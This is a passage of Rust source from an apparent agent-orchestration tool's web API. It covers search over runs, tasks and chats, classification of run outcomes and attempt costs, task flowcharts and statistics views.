3466    // Collapse whitespace (newlines in an instruction) without disturbing the
3467    // hit boundaries.
3468    let mut prev_space = false;
3469    for p in &mut parts {
3470        let mut out = String::with_capacity(p.text.len());
3471        for c in p.text.chars() {
3472            if c.is_whitespace() {
3473                if !prev_space {
3474                    out.push(' ');
3475                }
3476                prev_space = true;
3477            } else {
3478                out.push(c);
3479                prev_space = false;
3480            }
3481        }
3482        p.text = out;
3483    }
3484    parts.retain(|p| !p.text.is_empty());
3485    parts
3486}
3487
3488/// The search over `docs` (id, document), newest first, capped.
3489fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3490where
3491    I: IntoIterator<Item = (String, serde_json::Value)>,
3492{
3493    for (id, doc) in docs {
3494        let mut leaves = Vec::new();
3495        // The id is text an operator types too, and it is a map key on disk,
3496        // not a leaf.
3497        leaves.push(("id", id.as_str()));
3498        text_leaves(&doc, "", &mut leaves);
3499        if let Some(mut hit) = search_document(terms, &leaves) {
3500            view.total += 1;
3501            if view.hits.len() < SEARCH_MAX_HITS {
3502                hit.id = id;
3503                view.hits.push(hit);
3504            }
3505        }
3506    }
3507    view.truncated = view.total > view.hits.len();
3508}
3509
3510/// What a conversation is searched by: its list title and each turn's text,
3511/// under `operator` / `agent` so the snippet says who spoke. Nothing else
3512/// (session ids, repo paths, usage, drafts) is part of the document.
3513///
3514/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
3515/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
3516fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3517    let opener = talk
3518        .turns
3519        .iter()
3520        .find(|t| t.who == crate::talk::Who::Operator)
3521        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3522        .unwrap_or("");
3523    let title: String = if opener.chars().count() > 96 {
3524        opener.chars().take(95).chain(['\u{2026}']).collect()
3525    } else {
3526        opener.to_owned()
3527    };
3528    let turns: Vec<serde_json::Value> = talk
3529        .turns
3530        .iter()
3531        .map(|t| {
3532            let who = match t.who {
3533                crate::talk::Who::Operator => "operator",
3534                crate::talk::Who::Agent => "agent",
3535            };
3536            serde_json::json!({ who: t.body })
3537        })
3538        .collect();
3539    serde_json::json!({ "title": title, "turns": turns })
3540}
3541
3542/// Read-only full-text search over every run's `run.json`, every task or every
3543/// conversation (title and transcript).
3544///
3545/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
3546/// record from an older schema still searches; only a file that is not JSON
3547/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
3548async fn search_get(
3549    State(ui): State<Arc<Ui>>,
3550    Query(q): Query<SearchQuery>,
3551) -> ApiResult<Json<SearchView>> {
3552    let query = q.q.trim().to_owned();
3553    if query.is_empty() {
3554        return Err(ApiError::bad_request("q must not be empty"));
3555    }
3556    if query.chars().count() > SEARCH_MAX_QUERY {
3557        return Err(ApiError::bad_request(format!(
3558            "q is longer than {SEARCH_MAX_QUERY} characters"
3559        )));
3560    }
3561    let terms = search_terms(&query);
3562    if terms.len() > SEARCH_MAX_TERMS {
3563        return Err(ApiError::bad_request(format!(
3564            "q has more than {SEARCH_MAX_TERMS} terms"
3565        )));
3566    }
3567    let scope = q.scope;
3568    if scope != "runs" && scope != "tasks" && scope != "chats" {
3569        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3570    }
3571    blocking(move || {
3572        let mut view = SearchView {
3573            scope: scope.clone(),
3574            q: query,
3575            hits: Vec::new(),
3576            total: 0,
3577            truncated: false,
3578            unreadable: 0,
3579        };
3580        if scope == "runs" {
3581            let mut unreadable = 0;
3582            // One run.json is read, matched and dropped at a time; nothing
3583            // holds the whole history. The scan runs to the end even past the
3584            // hit cap so `total` and `unreadable` stay exact.
3585            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3586                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3587                match body.and_then(|b| serde_json::from_str(&b).ok()) {
3588                    Some(v) => Some((id, v)),
3589                    None => {
3590                        unreadable += 1;
3591                        None
3592                    }
3593                }
3594            });
3595            search_docs(&terms, docs, &mut view);
3596            view.unreadable = unreadable;
3597            // Only the capped hits get a row: the filters need a run's state,
3598            // and reading every match would be the whole history again.
3599            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3600            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3601            for hit in &mut view.hits {
3602                if let Ok(state) = read_run(&ui.runs, &hit.id) {
3603                    hit.run = summarize(
3604                        [state],
3605                        &open_runs,
3606                        &claimed,
3607                        &superseded,
3608                        |p| probe.borrow_mut().status(p),
3609                        |p| probe.borrow_mut().started_at(p),
3610                    )
3611                    .pop();
3612                }
3613            }
3614        } else if scope == "chats" {
3615            let (talks, unreadable) = ui.talks.list_counting_unreadable();
3616            view.unreadable = unreadable;
3617            search_docs(
3618                &terms,
3619                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3620                &mut view,
3621            );
3622        } else {
3623            let docs = ui.queue.list().into_iter().filter_map(|t| {
3624                let mut v = serde_json::to_value(&t).ok()?;
3625                // `source` serialises as a tagged object; the label is what
3626                // the operator reads ("human", "chat@a1b2").
3627                if let Some(o) = v.as_object_mut() {
3628                    o.insert("filed_by".to_owned(), t.source.label().into());
3629                }
3630                Some((t.id, v))
3631            });
3632            search_docs(&terms, docs, &mut view);
3633        }
3634        Ok(Json(view))
3635    })
3636    .await
3637}
3638
3639/// One attempt in a task's history, as the task page lists it.
3640#[derive(Debug, Serialize)]
3641struct TaskRunView {
3642    /// 1-based position in [`Task::runs`].
3643    n: usize,
3644    id: String,
3645    short: String,
3646    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3647    kind: &'static str,
3648    /// The run's own status string; `None` when its record cannot be read.
3649    status: Option<&'static str>,
3650    /// Whether this build could read the run's record. Counted, never hidden.
3651    readable: bool,
3652    /// A verdict from a collapsed panel is provisional, never a decision.
3653    provisional: bool,
3654    /// What kind of attempt this was, in one line.
3655    description: String,
3656    /// How it ended and why the task moved on (or what it is doing now).
3657    outcome: String,
3658    created_at: Option<Timestamp>,
3659    pr: Option<String>,
3660    /// Why this pass ended, classified once; the flowchart is built from it.
3661    exit: RunExit,
3662    /// What the pass did to the task's attempt budget.
3663    attempt: AttemptCost,
3664    /// The branch a review-only run reopened.
3665    branch: Option<String>,
3666}
3667
3668/// How one pass over a run ended, as far as the task's life is concerned.
3669#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3670#[serde(rename_all = "snake_case")]
3671enum RunExit {
3672    Unreadable,
3673    /// An earlier pass of a run id that appears again: it stopped short.
3674    Interrupted,
3675    Parked,
3676    QuotaStall,
3677    /// Stalled on a resumed pass with quota losses on record: they may be
3678    /// left over from an earlier pass, so whether this one was refunded is
3679    /// not knowable.
3680    ResumedQuotaStall,
3681    Merged,
3682    Ready,
3683    Superseded,
3684    /// The change was already on the base under other commits: the task
3685    /// finished without this run landing anything.
3686    AlreadyInBase,
3687    /// Stalled without a rate limit to blame: no verdict, attempt spent.
3688    Stalled,
3689    /// Blocked / no-op with a pull request left open: held for a person.
3690    HeldWithPr,
3691    NoopHeld,
3692    /// Blocked or failed: the attempt is spent and the task retries or holds.
3693    Spent,
3694    InProgress,
3695}
3696
3697#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3698#[serde(rename_all = "snake_case")]
3699enum AttemptCost {
3700    Spent,
3701    Refunded,
3702    None,
3703    /// Cannot be told from the records that remain.
3704    Unknown,
3705}
3706
3707impl RunExit {
3708    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3709        let Some(s) = s else {
3710            return Self::Unreadable;
3711        };
3712        let status = s.status;
3713        if resumed_later {
3714            Self::Interrupted
3715        } else if s.parked {
3716            Self::Parked
3717        } else if !status.done() {
3718            Self::InProgress
3719        } else if matches!(status, RunStatus::Merged) {
3720            Self::Merged
3721        } else if matches!(status, RunStatus::Ready) {
3722            Self::Ready
3723        } else if matches!(status, RunStatus::Superseded) {
3724            Self::Superseded
3725        } else if matches!(status, RunStatus::AlreadyInBase) {
3726            Self::AlreadyInBase
3727        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3728            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3729        {
3730            if resumed {
3731                Self::ResumedQuotaStall
3732            } else {
3733                Self::QuotaStall
3734            }
3735        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3736            Self::HeldWithPr
3737        } else if matches!(status, RunStatus::VerifiedNoop) {
3738            Self::NoopHeld
3739        } else if matches!(status, RunStatus::Stalled) {
3740            Self::Stalled
3741        } else {
3742            Self::Spent
3743        }
3744    }
3745
3746    fn cost(self) -> AttemptCost {
3747        match self {
3748            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3749            Self::Merged
3750            | Self::Ready
3751            | Self::Stalled
3752            | Self::HeldWithPr
3753            | Self::NoopHeld
3754            | Self::Spent => AttemptCost::Spent,
3755            Self::InProgress => AttemptCost::None,
3756            Self::AlreadyInBase => AttemptCost::Refunded,
3757            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3758                AttemptCost::Unknown
3759            }
3760        }
3761    }
3762
3763    /// Short edge wording for leaving a run this way.
3764    fn edge_label(self, status: Option<&str>) -> String {
3765        match self {
3766            Self::Unreadable => "record unreadable".to_owned(),
3767            Self::Interrupted => "interrupted before the run finished".to_owned(),
3768            Self::Parked => "parked, attempt refunded".to_owned(),
3769            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3770            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3771            Self::Merged => "merged".to_owned(),
3772            Self::Ready => "ready, not merged".to_owned(),
3773            Self::Superseded => "superseded by a later attempt".to_owned(),
3774            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3775            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3776            Self::HeldWithPr => "blocked, PR left open".to_owned(),
3777            Self::NoopHeld => "verified no-op".to_owned(),
3778            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3779            Self::InProgress => "in progress".to_owned(),
3780        }
3781    }
3782
3783    /// Does a task in `end` follow from a run that ended this way? When not,
3784    /// somebody closed or held the task by hand.
3785    fn explains(self, end: TaskStatus) -> bool {
3786        match self {
3787            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3788            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3789            Self::Unreadable | Self::Superseded | Self::Ready => true,
3790            _ => end != TaskStatus::Done,
3791        }
3792    }
3793}
3794
3795/// `GET /api/queue/{id}` - one task with every attempt it went through.
3796#[derive(Debug, Serialize)]
3797struct TaskDetailView {
3798    #[serde(flatten)]
3799    task: TaskView,
3800    /// The attempt budget `magi serve` / `magi web` start a loop with unless
3801    /// told otherwise; the loop's own flag is not visible from here.
3802    max_attempts: usize,
3803    history: Vec<TaskRunView>,
3804    flow: FlowView,
3805    /// How many entries of `history` could not be read.
3806    runs_unreadable: usize,
3807    /// Why the attempt count can be lower than the number of runs.
3808    attempts_note: &'static str,
3809}
3810
3811const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3812and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3813on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3814in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3815
3816/// The branch a review-only run reopened, read off the instruction
3817/// `Runner::open_review` writes.
3818fn review_branch_of(instruction: &str) -> Option<&str> {
3819    let rest = instruction.strip_prefix("Review the work already on branch `")?;
3820    rest.split('`').next().filter(|b| !b.is_empty())
3821}
3822
3823/// Where an entry sits in a task's run list.
3824struct RunSlot<'a> {
3825    /// 1-based position.
3826    n: usize,
3827    /// The same run id appeared earlier: this pass resumed it.
3828    resumed: bool,
3829    /// Position of a later pass over the same run id, if any.
3830    resumed_later: Option<usize>,
3831    /// The previous distinct run and how it ended, for the retry note.
3832    prior: Option<(&'a str, RunStatus)>,
3833    last: bool,
3834}
3835
3836/// Describe one entry of a task's run list. Pure: everything it needs is on
3837/// the run and the task, so it is asserted without a server.
3838fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3839    let RunSlot {
3840        n,
3841        resumed,
3842        resumed_later,
3843        prior,
3844        last,
3845    } = at;
3846    let short = run::short_of(id).to_owned();
3847    let Some(s) = state else {
3848        return TaskRunView {
3849            n,
3850            id: id.to_owned(),
3851            short,
3852            kind: "unknown",
3853            status: None,
3854            readable: false,
3855            provisional: false,
3856            description:
3857                "This run's record could not be read by this build (written by a different \
3858                          magi, or removed), so what kind of attempt it was is unknown."
3859                    .to_owned(),
3860            outcome: String::new(),
3861            created_at: None,
3862            pr: None,
3863            exit: RunExit::Unreadable,
3864            attempt: AttemptCost::Unknown,
3865            branch: None,
3866        };
3867    };
3868    let branch = review_branch_of(&s.instruction);
3869    let kind = if resumed {
3870        "resume"
3871    } else if branch.is_some() {
3872        "review"
3873    } else if task.solo || s.candidates.len() == 1 {
3874        "solo"
3875    } else {
3876        "competition"
3877    };
3878    let mut description = match kind {
3879        "resume" => {
3880            format!("Resumed run {short}: the same run carried on instead of competing again.")
3881        }
3882        "review" => format!(
3883            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3884            branch.unwrap_or_default()
3885        ),
3886        "solo" => "Solo run: one implementer straight into review.".to_owned(),
3887        _ => format!(
3888            "Competition: {} candidates judged blind.",
3889            s.candidates.len().max(1)
3890        ),
3891    };
3892    if !resumed && let Some((p, st)) = prior {
3893        description.push_str(&format!(
3894            " A retry: run {p} before it ended {}.",
3895            st.display_label()
3896        ));
3897    }
3898
3899    let status = s.status;
3900    let provisional = matches!(status, RunStatus::Stalled)
3901        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3902    let head = if resumed_later.is_some() {
3903        String::new()
3904    } else {
3905        match status {
3906            RunStatus::Merged => "Merged.".to_owned(),
3907            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3908            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3909            RunStatus::AlreadyInBase => {
3910                "Already in the base: this change landed under other commits, nothing was left to land."
3911                    .to_owned()
3912            }
3913            RunStatus::Stalled => {
3914                "Stalled: the judging panel never reached a quorum, so there is no verdict."
3915                    .to_owned()
3916            }
3917            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3918            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3919            RunStatus::VerifiedNoop => {
3920                "Verified no-op: the candidates found nothing to change.".to_owned()
3921            }
3922            other if other.done() => format!("Ended {}.", other.display_label()),
3923            other => format!("In progress ({}).", other.display_label()),
3924        }
3925    };
3926    let why = if let Some(k) = resumed_later {
3927        // A run is only picked up again while it is unfinished, so an earlier
3928        // pass of a repeated id stopped short; the record keeps only the run's
3929        // latest status, which is left to the pass that carried it on.
3930        // Only the latest state is recorded: `parked` is cleared on resume
3931        // and `quota` accumulates across passes, so neither says why *this*
3932        // pass stopped, and the refund is as unknown as `AttemptCost` says.
3933        let cause = if s.quota.is_empty() {
3934            "the cause was not recorded: a park, a crash or a restart all look the same from here"
3935        } else {
3936            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3937        };
3938        format!(
3939            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3940        )
3941    } else if s.parked {
3942        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3943            .to_owned()
3944    } else if !status.done()
3945        || matches!(
3946            status,
3947            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3948        )
3949    {
3950        String::new()
3951    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3952        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3953    {
3954        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3955            .to_owned()
3956    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3957        " It left a pull request open, so the task was held for a person rather than retried."
3958            .to_owned()
3959    } else if matches!(status, RunStatus::VerifiedNoop) {
3960        " Held for a person to check the claim.".to_owned()
3961    } else if last {
3962        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3963    } else {
3964        " It spent an attempt, and the task moved on to the next run.".to_owned()
3965    };
3966    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3967    TaskRunView {
3968        n,
3969        id: id.to_owned(),
3970        short,
3971        kind,
3972        status: Some(status.as_str()),
3973        readable: true,
3974        provisional,
3975        description,
3976        outcome: format!("{head}{why}"),
3977        created_at: Some(s.created_at),
3978        pr: s.pr.as_ref().map(|p| p.url.clone()),
3979        exit,
3980        attempt: exit.cost(),
3981        branch: branch.map(str::to_owned),
3982    }
3983}
3984
3985/// One box of the task's flowchart.
3986#[derive(Debug, Serialize, PartialEq)]
3987struct FlowNode {
3988    /// Unique by position: a resumed run id appears once per pass.
3989    key: String,
3990    /// `chat`, `start`, `run` or `end`.
3991    kind: &'static str,
3992    label: String,
3993    /// Run status (or the task's, for `end`); `None` when it is not a fact
3994    /// about this box (unreadable, or a pass the run later resumed from).
3995    status: Option<&'static str>,
3996    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
3997    note: Option<&'static str>,
3998    run_kind: Option<&'static str>,
3999    detail: Option<String>,
4000    /// A readable run with a real verdict; a stall never is.
4001    decided: bool,
4002    readable: bool,
4003    href: Option<String>,
4004}
4005
4006#[derive(Debug, Serialize, PartialEq)]
4007struct FlowEdge {
4008    from: String,
4009    to: String,
4010    label: String,
4011    attempt: AttemptCost,
4012}
4013
4014#[derive(Debug, Serialize, PartialEq)]
4015struct FlowView {
4016    nodes: Vec<FlowNode>,
4017    edges: Vec<FlowEdge>,
4018    /// Attempts the task has counted since it was last released.
4019    attempts: usize,
4020    max_attempts: usize,
4021}
4022
4023/// Turn a task and its described runs into the flowchart's boxes and arrows.
4024/// Pure: the page only draws what this returns.
4025fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4026    let node = |key: &str, kind, label: String| FlowNode {
4027        key: key.to_owned(),
4028        kind,
4029        label,
4030        status: None,
4031        note: None,
4032        run_kind: None,
4033        detail: None,
4034        decided: false,
4035        readable: true,
4036        href: None,
4037    };
4038    let mut nodes = Vec::new();
4039    let mut edges: Vec<FlowEdge> = Vec::new();
4040    // A task queued from a chat opens the flow with that conversation.
4041    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4042        let mut n = node(
4043            "chat",
4044            "chat",
4045            format!("Chat {}", crate::queue::short(&link.id)),
4046        );
4047        n.href = Some(link.href);
4048        nodes.push(n);
4049        edges.push(FlowEdge {
4050            from: "chat".to_owned(),
4051            to: "start".to_owned(),
4052            label: "queued from chat".to_owned(),
4053            attempt: AttemptCost::None,
4054        });
4055    }
4056    nodes.push(node("start", "start", "Task queued".to_owned()));
4057    let mut prev = "start".to_owned();
4058    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4059    for (i, h) in history.iter().enumerate() {
4060        let key = format!("run-{}", h.n);
4061        let mut n = node(&key, "run", format!("Run {}", h.short));
4062        n.run_kind = Some(h.kind);
4063        n.readable = h.readable;
4064        n.href = Some(format!("#/runs/{}", h.id));
4065        n.decided = h.readable && !h.provisional;
4066        n.detail = h
4067            .branch
4068            .as_ref()
4069            .map(|b| format!("review-only run of branch {b}"));
4070        match h.exit {
4071            RunExit::Unreadable => n.note = Some("unreadable"),
4072            RunExit::Interrupted => n.note = Some("interrupted"),
4073            _ => {
4074                n.status = h.status;
4075                if h.provisional {
4076                    n.note = Some("no verdict");
4077                }
4078            }
4079        }
4080        let into = match h.kind {
4081            "review" => Some(format!(
4082                "review-only run of branch {}",
4083                h.branch.as_deref().unwrap_or("?")
4084            )),
4085            "resume" => Some("resume the same run".to_owned()),
4086            _ if i > 0 => Some("retry".to_owned()),
4087            _ => None,
4088        };
4089        let label = match (prev_exit, into) {
4090            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4091            (Some((e, st)), None) => e.edge_label(st),
4092            (None, Some(i)) => i,
4093            (None, None) => "claimed".to_owned(),
4094        };
4095        edges.push(FlowEdge {
4096            from: prev.clone(),
4097            to: key.clone(),
4098            label,
4099            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4100        });
4101        prev_exit = Some((h.exit, h.status));
4102        prev = key;
4103        nodes.push(n);
4104    }
4105    let mut end = node("end", "end", task.status.as_str().to_owned());
4106    end.status = Some(task.status.as_str());
4107    nodes.push(end);
4108    let (label, attempt) = match prev_exit {
4109        None => (
4110            format!("no run yet \u{2192} {}", task.status.as_str()),
4111            AttemptCost::None,
4112        ),
4113        Some((e, st)) if e.explains(task.status) => (
4114            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4115            e.cost(),
4116        ),
4117        Some((e, _)) => (
4118            format!("closed by hand: task is {}", task.status.as_str()),
4119            e.cost(),
4120        ),
4121    };
4122    edges.push(FlowEdge {
4123        from: prev,
4124        to: "end".to_owned(),
4125        label,
4126        attempt,
4127    });
4128    FlowView {
4129        nodes,
4130        edges,
4131        attempts: task.attempts,
4132        max_attempts,
4133    }
4134}
4135
4136/// Describe every entry of `task.runs`, in order, reading each run's record
4137/// through `read`.
4138fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4139    let mut history = Vec::with_capacity(task.runs.len());
4140    let mut seen: Vec<&str> = Vec::new();
4141    let mut prior: Option<(&str, RunStatus)> = None;
4142    for (i, run_id) in task.runs.iter().enumerate() {
4143        let state = read(run_id);
4144        let resumed = seen.contains(&run_id.as_str());
4145        seen.push(run_id);
4146        history.push(task_run_view(
4147            run_id,
4148            state.as_ref(),
4149            RunSlot {
4150                n: i + 1,
4151                resumed,
4152                resumed_later: task.runs[i + 1..]
4153                    .iter()
4154                    .position(|r| r == run_id)
4155                    .map(|off| i + off + 2),
4156                prior,
4157                last: i + 1 == task.runs.len(),
4158            },
4159            task,
4160        ));
4161        if let Some(s) = &state {
4162            prior = Some((run::short_of(run_id), s.status));
4163        }
4164    }
4165    history
4166}
4167
4168async fn task_detail(
4169    State(ui): State<Arc<Ui>>,
4170    Path(id): Path<String>,
4171) -> ApiResult<Json<TaskDetailView>> {
4172    blocking(move || {
4173        let id = resolve_task(&ui.queue, &id)?;
4174        let task = ui
4175            .queue
4176            .get(&id)
4177            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4178        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4179        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4180        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4181        let max_attempts = daemon::Opts::default().max_attempts;
4182        let flow = task_flow(&task, &history, max_attempts);
4183        Ok(Json(TaskDetailView {
4184            max_attempts,
4185            flow,
4186            history,
4187            runs_unreadable,
4188            attempts_note: ATTEMPTS_NOTE,
4189            task: TaskView::with_inventory(task, &inv),
4190        }))
4191    })
4192    .await
4193}
4194
4195/// A rate together with its denominator, so the client can tell "computed as
4196/// 0%" apart from "no data to compute it from" — both would otherwise
4197/// serialize as `0.0`. `None` means the denominator was zero.
4198#[derive(Debug, Serialize)]
4199struct RateView {
4200    pct: f64,
4201    denominator: usize,
4202}
4203
4204impl RateView {
4205    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4206        (denominator > 0).then(|| Self {
4207            pct: 100.0 * numerator as f64 / denominator as f64,
4208            denominator,
4209        })
4210    }
4211}
4212
4213/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4214/// rates, each paired with its own denominator via [`RateView`] rather than
4215/// exposing `Stats`' own percentage methods directly — see this module's
4216/// doc for why `Stats` itself is never serialized.
4217#[derive(Debug, Serialize)]
4218struct StatsTotalsView {
4219    runs: usize,
4220    merged: usize,
4221    ready: usize,
4222    blocked: usize,
4223    failed: usize,
4224    stalled: usize,
4225    verified_noop: usize,
4226    superseded: usize,
4227    in_progress: usize,
4228    completion_rate: Option<RateView>,
4229    tallied: usize,
4230    split: usize,
4231    split_rate: Option<RateView>,
4232    deliberated: usize,
4233    minds_changed: usize,
4234    converged: usize,
4235    review_rounds: usize,
4236}
4237
4238impl From<&stats::Totals> for StatsTotalsView {
4239    fn from(t: &stats::Totals) -> Self {
4240        Self {
4241            runs: t.runs,
4242            merged: t.merged,
4243            ready: t.ready,
4244            blocked: t.blocked,
4245            failed: t.failed,
4246            stalled: t.stalled,
4247            verified_noop: t.verified_noop,
4248            superseded: t.superseded,
4249            in_progress: t.in_progress,
4250            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4251            tallied: t.tallied,
4252            split: t.split,
4253            split_rate: RateView::of(t.split, t.tallied),
4254            deliberated: t.deliberated,
4255            minds_changed: t.minds_changed,
4256            converged: t.converged,
4257            review_rounds: t.review_rounds,
4258        }
4259    }
4260}
4261
4262/// [`crate::stats::AgentStats`] for the wire.
4263#[derive(Debug, Serialize)]
4264struct AgentStatsView {
4265    agent: String,
4266    entered: usize,
4267    wins: usize,
4268    empty: usize,
4269    win_rate: Option<RateView>,
4270}
4271
4272impl From<&stats::AgentStats> for AgentStatsView {
4273    fn from(a: &stats::AgentStats) -> Self {
4274        Self {
4275            agent: a.agent.clone(),
4276            entered: a.entered,
4277            wins: a.wins,
4278            empty: a.empty,
4279            win_rate: RateView::of(a.wins, a.entered),
4280        }
4281    }
4282}
4283
4284/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4285/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4286/// value, `None` when `rounds` is zero.
4287#[derive(Debug, Serialize)]
4288struct ReviewerStatsView {
4289    agent: String,
4290    rounds: usize,
4291    seated: usize,
4292    submitted: usize,
4293    adopted: usize,
4294    unique: usize,
4295    timeouts: usize,
4296    adopted_per_round: Option<f64>,
4297    precision: Option<RateView>,
4298    unique_rate: Option<RateView>,
4299    timeout_rate: Option<RateView>,
4300}
4301
4302impl From<&stats::ReviewerStats> for ReviewerStatsView {
4303    fn from(r: &stats::ReviewerStats) -> Self {
4304        Self {
4305            agent: r.agent.clone(),
4306            rounds: r.rounds,
4307            seated: r.seated,
4308            submitted: r.submitted,
4309            adopted: r.adopted,
4310            unique: r.unique,
4311            timeouts: r.timeouts,
4312            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4313            precision: RateView::of(r.adopted, r.submitted),
4314            unique_rate: RateView::of(r.unique, r.submitted),
4315            timeout_rate: RateView::of(r.timeouts, r.seated),
4316        }
4317    }
4318}
4319
4320/// [`crate::stats::AdvisorStats`] for the wire.
4321///
4322/// `reflection_rate` is approximate by construction — see
4323/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4324/// that caveat is static text in `index.html`, not a field here.
4325#[derive(Debug, Serialize)]
4326struct AdvisorStatsView {
4327    agent: String,
4328    seated: usize,
4329    proposed: usize,
4330    absent: usize,
4331    faint: usize,
4332    strong: usize,
4333    reflection_rate: Option<RateView>,
4334}
4335
4336impl From<&stats::AdvisorStats> for AdvisorStatsView {
4337    fn from(a: &stats::AdvisorStats) -> Self {
4338        Self {
4339            agent: a.agent.clone(),
4340            seated: a.seated,
4341            proposed: a.proposed,
4342            absent: a.absent,
4343            faint: a.faint,
4344            strong: a.strong,
4345            reflection_rate: RateView::of(a.strong, a.proposed),
4346        }
4347    }
4348}
4349
4350/// [`crate::stats::E2eStats`] for the wire.
4351#[derive(Debug, Serialize)]
4352struct E2eStatsView {
4353    rounds: usize,
4354    failures: usize,
4355    sole_detections: usize,
4356    deferred: usize,
4357    sole_rate: Option<RateView>,
4358}
4359
4360impl From<&stats::E2eStats> for E2eStatsView {
4361    fn from(e: &stats::E2eStats) -> Self {
4362        Self {
4363            rounds: e.rounds,
4364            failures: e.failures,
4365            sole_detections: e.sole_detections,
4366            deferred: e.deferred,
4367            sole_rate: RateView::of(e.sole_detections, e.failures),
4368        }
4369    }
4370}
4371
4372/// [`crate::stats::ReleaseBumpStats`] for the wire.
4373///
4374/// `clean` is sent as a raw count, computed the same way
4375/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4376/// needs_attention`) — never derived client-side from `automerge_enabled`,
4377/// which would misclassify a `merged_directly` bump (automerge rejected, but
4378/// magi merged it directly, so no human involvement) as needing attention.
4379#[derive(Debug, Serialize)]
4380struct ReleaseBumpStatsView {
4381    merged: usize,
4382    recorded: usize,
4383    pr_opened: usize,
4384    automerge_enabled: usize,
4385    merged_directly: usize,
4386    needs_attention: usize,
4387    clean: usize,
4388    coverage_rate: Option<RateView>,
4389    automerge_rate: Option<RateView>,
4390    attention_rate: Option<RateView>,
4391}
4392
4393impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4394    fn from(b: &stats::ReleaseBumpStats) -> Self {
4395        Self {
4396            merged: b.merged,
4397            recorded: b.recorded,
4398            pr_opened: b.pr_opened,
4399            automerge_enabled: b.automerge_enabled,
4400            merged_directly: b.merged_directly,
4401            needs_attention: b.needs_attention,
4402            clean: b.clean(),
4403            coverage_rate: RateView::of(b.recorded, b.merged),
4404            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4405            attention_rate: RateView::of(b.needs_attention, b.recorded),
4406        }
4407    }
4408}
4409
4410/// [`crate::queue::TaskCounts`] for the wire.
4411#[derive(Debug, Serialize)]
4412struct TaskCountsView {
4413    queued: usize,
4414    running: usize,
4415    done: usize,
